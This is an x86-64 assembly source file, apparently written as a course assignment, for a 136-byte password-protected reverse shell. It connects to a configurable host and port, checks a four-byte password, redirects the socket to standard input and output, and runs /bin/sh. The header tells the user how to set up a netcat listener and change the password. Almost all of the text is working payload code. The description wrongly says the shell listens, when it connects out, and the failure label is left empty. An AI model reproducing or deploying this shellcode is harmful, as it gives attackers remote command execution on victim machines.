; =================================================================== ; Password Protected Reverse Shell ; Author: SLAE64-1351 (Keyman) ; Date: 04/09/2014 ; ; Shellcode length: 136 bytes ; ; Description: ; ; Simple reverse shell (listens on port 4444 by default) with ; bytes password protection. Using a 4 bytes long password is ; still reasonably strong for a single-shot connection and keeps ; the code shorter. ; ; To change the port or the password just modify the values of the ; exp_port and exp_pass "variables" below. ; ; Before the code gets executed make sure to create a listener: ; ; nc -lvp <port number> ; ; After you receive the connection you will see no password ; prompt. Just type in the 4 bytes long password and hit enter. ; If the password matches, you are ready to type OS commands. ; ; =================================================================== global _start section .text ; ------------------------------------------------------------------- ; Preprocessor directives so you can easily change the port and the ; password. ; ------------------------------------------------------------------- ; Host to connect to. Please note that this value will have ; 0x02020202 added to it, this way avoiding the NULL bytes. %define exp_host 0xFEFDFE7D ; 127.0.0.1 ; Port number to listen on. %define exp_port 0x5c11 ; 4444 ; Password to use. Make sure it's not longer than 4 bytes. %define exp_pass 0x6c6c6568 ; hell ; ------------------------------------------------------------------- ; DO NOT TOUCH ; preprocessor directives so syscalls can be easily referenced ; ------------------------------------------------------------------- %define sys_connect 42 %define sys_read 0 %define sys_execve 59 %define sys_dup2 33 _start: ; --------------------------------------------------------------- ; START: create socket ; --------------------------------------------------------------- xor rax, rax push rax ; saving for sockaddr push rax ; struct push rax ; clear rax later push rax ; set rdx to 0 pop rdx ; protocol mov al, 2 push rax push rax pop rsi pop rdi ; PF_INET shr rsi, 1 ; SOCK_STREAM add al, 39 ; socket syscall (41) syscall ; --------------------------------------------------------------- ; START: create struct ; ; srv_addr.sin_family = AF_INET; ; srv_addr.sin_addr.s_addr = INADDR_ANY; ; srv_addr.sin_port = htons(portno); ; ; This is how it looks like on the stack: ; 0x02 0x00 0x11 0x5c 0x7f 0x00 0x00 0x01 ; 0x20 0x00 0x00 0x00 0x00 0x00 0x00 0x00 ; --------------------------------------------------------------- ; TODO: have to make this shorter somehow mov byte [rsp], 2 ; set values mov word [rsp+2], exp_port mov dword [rsp+4], exp_host add dword [rsp+4], 0x02020202 push rsp pop rsi ; addr of struct in rsi ; --------------------------------------------------------------- ; START: connect ; --------------------------------------------------------------- ; rdx is still 0 push rax ; socket fd pop rdi add dl, 16 mov al, sys_connect syscall ; --------------------------------------------------------------- ; get passwd ; ; We will work with a 4 byte password, should be more than ; enough as no brute forcing is possible. Chances to guess ; the right value is 0. Of course passwd should not contain ; null bytes. ; ; n = read(newsockfd,buffer,4); ; --------------------------------------------------------------- push rax ; buffer filled with 0s push rsp ; setup pointer to buf pop rsi sub rdx, 12 ; set bytes to read (4) syscall ; compare pass received with valid pass and exit if no match push rax pop rcx push rdi ; save socket pop rax sub rcx, 3 ; read only once push rsp pop rdi push exp_pass push rsp pop rsi cmpsq jne passfail ; passwd match, give shell shell: ; --------------------------------------------------------------- ; 6. exec shell ; --------------------------------------------------------------- add cl, 2 ; rcx is 1, so add 2 = 3 push rax ; restore socket pop rdi dup_loop: push rcx ; have to save rcx as dup2 ; changes it's value xor rax, rax sub rcx, 1 push rcx pop rsi add al, sys_dup2 syscall pop rcx ; restore the counter loop dup_loop jmp mytext code: pop rdi mov [rdi+7], BYTE al push rax pop rdx add al, sys_execve syscall mytext: call code MyText: db '/bin/sh', 0x41 passfail: